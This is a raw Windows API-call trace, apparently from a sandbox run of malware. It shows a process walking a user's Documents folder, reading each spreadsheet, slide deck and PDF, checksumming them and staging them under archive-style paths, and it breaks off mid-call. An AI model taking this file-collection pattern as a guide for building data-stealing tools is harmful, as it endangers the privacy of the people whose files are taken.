[0165.781] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\imR3uKJ.xlsx", len=0x29 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\imR3uKJ.xlsx") returned 1 [0165.781] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\imR3uKJ.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\\\imR3uKJ.xlsx", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\imR3uKJ.xlsx") returned 1 [0165.781] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.781] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\imR3uKJ.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.781] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.782] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.782] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="imR3uKJ.xlsx", cchWideChar=12, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imR3uKJ.xlsxLNS.xlsxxdn12a\\0K3ML.docxUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 12 [0165.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.784] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="imR3uKJ.xlsx", cchWideChar=12, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imR3uKJ.xlsxLNS.xlsxxdn12a\\0K3ML.docxUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 12 [0165.784] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="imR3uKJ.xlsx", cchWideChar=12, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imR3uKJ.xlsxLNS.xlsxxdn12a\\0K3ML.docxUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 12 [0165.784] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.784] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.784] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.784] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.784] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.784] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.784] SysReAllocStringLen (in: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfa08*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.784] SysReAllocStringLen (in: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\", psz="C:\\Users\\aETAdzjz\\Documents\\", len=0x1c | out: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Documents\\") returned 1 [0165.784] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="fqs7LNS.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.784] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.785] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.785] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.785] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.785] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.785] SysReAllocStringLen (in: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7dfc88*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.785] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\fqs7LNS.xlsx", psz="Files\\2\\\\imR3uKJ.xlsx", len=0x15 | out: pbstr=0x1e7dfa00*="Files\\2\\\\imR3uKJ.xlsx") returned 1 [0165.785] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="Files\\2\\\\imR3uKJ.xlsx", len=0x15 | out: pbstr=0x1e7df978*="Files\\2\\\\imR3uKJ.xlsx") returned 1 [0165.785] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\\\imR3uKJ.xlsx", psz="Files\\2\\\\imR3uKJ.xlsx", len=0x15 | out: pbstr=0x1e7dfa00*="Files\\2\\\\imR3uKJ.xlsx") returned 1 [0165.786] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="Files\\2\\imR3uKJ.xlsx", len=0x14 | out: pbstr=0x1e7df974*="Files\\2\\imR3uKJ.xlsx") returned 1 [0165.786] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\\\imR3uKJ.xlsx", psz="Files\\2\\imR3uKJ.xlsx", len=0x14 | out: pbstr=0x1e7dfa00*="Files\\2\\imR3uKJ.xlsx") returned 1 [0165.786] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="Files\\2\\imR3uKJ.xlsx", len=0x14 | out: pbstr=0x1e7df970*="Files\\2\\imR3uKJ.xlsx") returned 1 [0165.786] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\2\\imR3uKJ.xlsx", psz="Files\\2\\imR3uKJ.xlsx", len=0x14 | out: pbstr=0x1e7dfa00*="Files\\2\\imR3uKJ.xlsx") returned 1 [0165.786] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Files\\2\\imR3uKJ.xlsx", cchWideChar=20, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Files\\2\\imR3uKJ.xlsxxdn12a\\0K3ML.docxUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 20 [0165.786] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\fqs7LNS.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.786] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.786] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.786] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.786] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.787] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.787] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", len=0x28 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx") returned 1 [0165.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.787] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx" (normalized: "c:\\users\\aetadzjz\\documents\\imr3ukj.xlsx")) returned 0x20 [0165.788] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx" (normalized: "c:\\users\\aetadzjz\\documents\\imr3ukj.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x310 [0165.788] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x1e7df948 | out: lpFileSizeHigh=0x1e7df948*=0x0) returned 0x23b8 [0165.788] ReadFile (in: hFile=0x310, lpBuffer=0x1fd1cad4, nNumberOfBytesToRead=0x23b8, lpNumberOfBytesRead=0x1e7df944, lpOverlapped=0x0 | out: lpBuffer=0x1fd1cad4*, lpNumberOfBytesRead=0x1e7df944*=0x23b8, lpOverlapped=0x0) returned 1 [0165.789] CloseHandle (hObject=0x310) returned 1 [0165.789] CharToOemBuffA (in: lpszSrc="Files\\2\\imR3uKJ.xlsx", lpszDst=0x1fd1ee9c, cchDstLength=0x14 | out: lpszDst="Files\\2\\imR3uKJ.xlsx") returned 1 [0165.789] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fcfaf44, Length=0x23b8) returned 0xd1928241 [0165.789] VirtualAlloc (lpAddress=0x1fd20000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd20000 [0165.790] VirtualFree (lpAddress=0x1fd14000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0165.792] VirtualFree (lpAddress=0x1fd2c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0165.792] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%\\curbuf.dat", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat") returned 0x30 [0165.792] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\curbuf.dat")) returned 0 [0165.792] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c3a29c0, ftCreationTime.dwHighDateTime=0x1d5a835, ftLastAccessTime.dwLowDateTime=0x2a83d870, ftLastAccessTime.dwHighDateTime=0x1d584ad, ftLastWriteTime.dwLowDateTime=0x2a83d870, ftLastWriteTime.dwHighDateTime=0x1d584ad, nFileSizeHigh=0x0, nFileSizeLow=0x42f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J-hi.pptx", cAlternateFileName="J-HI~1.PPT")) returned 1 [0165.792] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\imR3uKJ.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\\\J-hi.pptx", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\J-hi.pptx") returned 1 [0165.793] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\J-hi.pptx", len=0x26 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\J-hi.pptx") returned 1 [0165.793] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\J-hi.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\\\J-hi.pptx", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\J-hi.pptx") returned 1 [0165.793] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\J-hi.pptx", len=0x25 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\J-hi.pptx") returned 1 [0165.793] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\J-hi.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\J-hi.pptx", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\J-hi.pptx") returned 1 [0165.793] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\J-hi.pptx", len=0x25 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\J-hi.pptx") returned 1 [0165.793] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\J-hi.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\J-hi.pptx", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\J-hi.pptx") returned 1 [0165.793] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="J-hi.pptx", cchWideChar=9, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="J-hi.pptxmR3uKJ.xlsxxdn12a\\0K3ML.docxUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 9 [0165.793] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="J-hi.pptx", cchWideChar=9, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="J-hi.pptxmR3uKJ.xlsxxdn12a\\0K3ML.docxUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 9 [0165.793] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="J-hi.pptx", cchWideChar=9, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="J-hi.pptxmR3uKJ.xlsxxdn12a\\0K3ML.docxUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 9 [0165.793] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebbc2af0, ftCreationTime.dwHighDateTime=0x1d5df21, ftLastAccessTime.dwLowDateTime=0x54075bb0, ftLastAccessTime.dwHighDateTime=0x1d5e4f0, ftLastWriteTime.dwLowDateTime=0x54075bb0, ftLastWriteTime.dwHighDateTime=0x1d5e4f0, nFileSizeHigh=0x0, nFileSizeLow=0x14b4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="j4yeUT.pdf", cAlternateFileName="")) returned 1 [0165.794] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\J-hi.pptx", psz="C:\\Users\\aETAdzjz\\Documents\\\\j4yeUT.pdf", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\j4yeUT.pdf") returned 1 [0165.794] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\j4yeUT.pdf", len=0x27 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\j4yeUT.pdf") returned 1 [0165.794] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\j4yeUT.pdf", psz="C:\\Users\\aETAdzjz\\Documents\\\\j4yeUT.pdf", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\j4yeUT.pdf") returned 1 [0165.794] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\j4yeUT.pdf", len=0x26 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\j4yeUT.pdf") returned 1 [0165.794] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\j4yeUT.pdf", psz="C:\\Users\\aETAdzjz\\Documents\\j4yeUT.pdf", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\j4yeUT.pdf") returned 1 [0165.794] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\j4yeUT.pdf", len=0x26 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\j4yeUT.pdf") returned 1 [0165.794] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\j4yeUT.pdf", psz="C:\\Users\\aETAdzjz\\Documents\\j4yeUT.pdf", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\j4yeUT.pdf") returned 1 [0165.794] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x306fcaa0, ftCreationTime.dwHighDateTime=0x1d5bc61, ftLastAccessTime.dwLowDateTime=0x3c6e090, ftLastAccessTime.dwHighDateTime=0x1d58072, ftLastWriteTime.dwLowDateTime=0x3c6e090, ftLastWriteTime.dwHighDateTime=0x1d58072, nFileSizeHigh=0x0, nFileSizeLow=0x165b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ltf_L.xlsx", cAlternateFileName="LTF_L~1.XLS")) returned 1 [0165.795] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\j4yeUT.pdf", psz="C:\\Users\\aETAdzjz\\Documents\\\\Ltf_L.xlsx", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Ltf_L.xlsx") returned 1 [0165.795] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\Ltf_L.xlsx", len=0x27 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\Ltf_L.xlsx") returned 1 [0165.795] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Ltf_L.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\\\Ltf_L.xlsx", len=0x27 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Ltf_L.xlsx") returned 1 [0165.795] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Ltf_L.xlsx", len=0x26 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\Ltf_L.xlsx") returned 1 [0165.795] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\Ltf_L.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\Ltf_L.xlsx", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Ltf_L.xlsx") returned 1 [0165.795] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\Ltf_L.xlsx", len=0x26 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\Ltf_L.xlsx") returned 1 [0165.795] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Ltf_L.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\Ltf_L.xlsx", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Ltf_L.xlsx") returned 1 [0165.795] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91078570, ftCreationTime.dwHighDateTime=0x1d59488, ftLastAccessTime.dwLowDateTime=0x323f0fc0, ftLastAccessTime.dwHighDateTime=0x1d5957a, ftLastWriteTime.dwLowDateTime=0x323f0fc0, ftLastWriteTime.dwHighDateTime=0x1d5957a, nFileSizeHigh=0x0, nFileSizeLow=0xddfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LWlK4RI4xB7wVg 0R.xlsx", cAlternateFileName="LWLK4R~1.XLS")) returned 1 [0165.796] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\Ltf_L.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\\\LWlK4RI4xB7wVg 0R.xlsx", len=0x33 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\LWlK4RI4xB7wVg 0R.xlsx") returned 1 [0165.796] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\\\LWlK4RI4xB7wVg 0R.xlsx", len=0x33 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Documents\\\\LWlK4RI4xB7wVg 0R.xlsx") returned 1 [0165.796] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\LWlK4RI4xB7wVg 0R.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\\\LWlK4RI4xB7wVg 0R.xlsx", len=0x33 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\LWlK4RI4xB7wVg 0R.xlsx") returned 1 [0165.796] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\LWlK4RI4xB7wVg 0R.xlsx", len=0x32 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Documents\\LWlK4RI4xB7wVg 0R.xlsx") returned 1 [0165.796] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\\\LWlK4RI4xB7wVg 0R.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\LWlK4RI4xB7wVg 0R.xlsx", len=0x32 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\LWlK4RI4xB7wVg 0R.xlsx") returned 1 [0165.796] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Documents\\LWlK4RI4xB7wVg 0R.xlsx", len=0x32 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Documents\\LWlK4RI4xB7wVg 0R.xlsx") returned 1 [0165.796] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\LWlK4RI4xB7wVg 0R.xlsx", psz="C:\\Users\\aETAdzjz\\Documents\\LWlK4RI4xB7wVg 0R.xlsx", len=0x32 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Documents\\LWlK4RI4xB7wVg 0R.xlsx") returned 1 [0165.797] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x23657020, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23657020, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x23657020, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0165.797] SysReAllocStringLen (in: 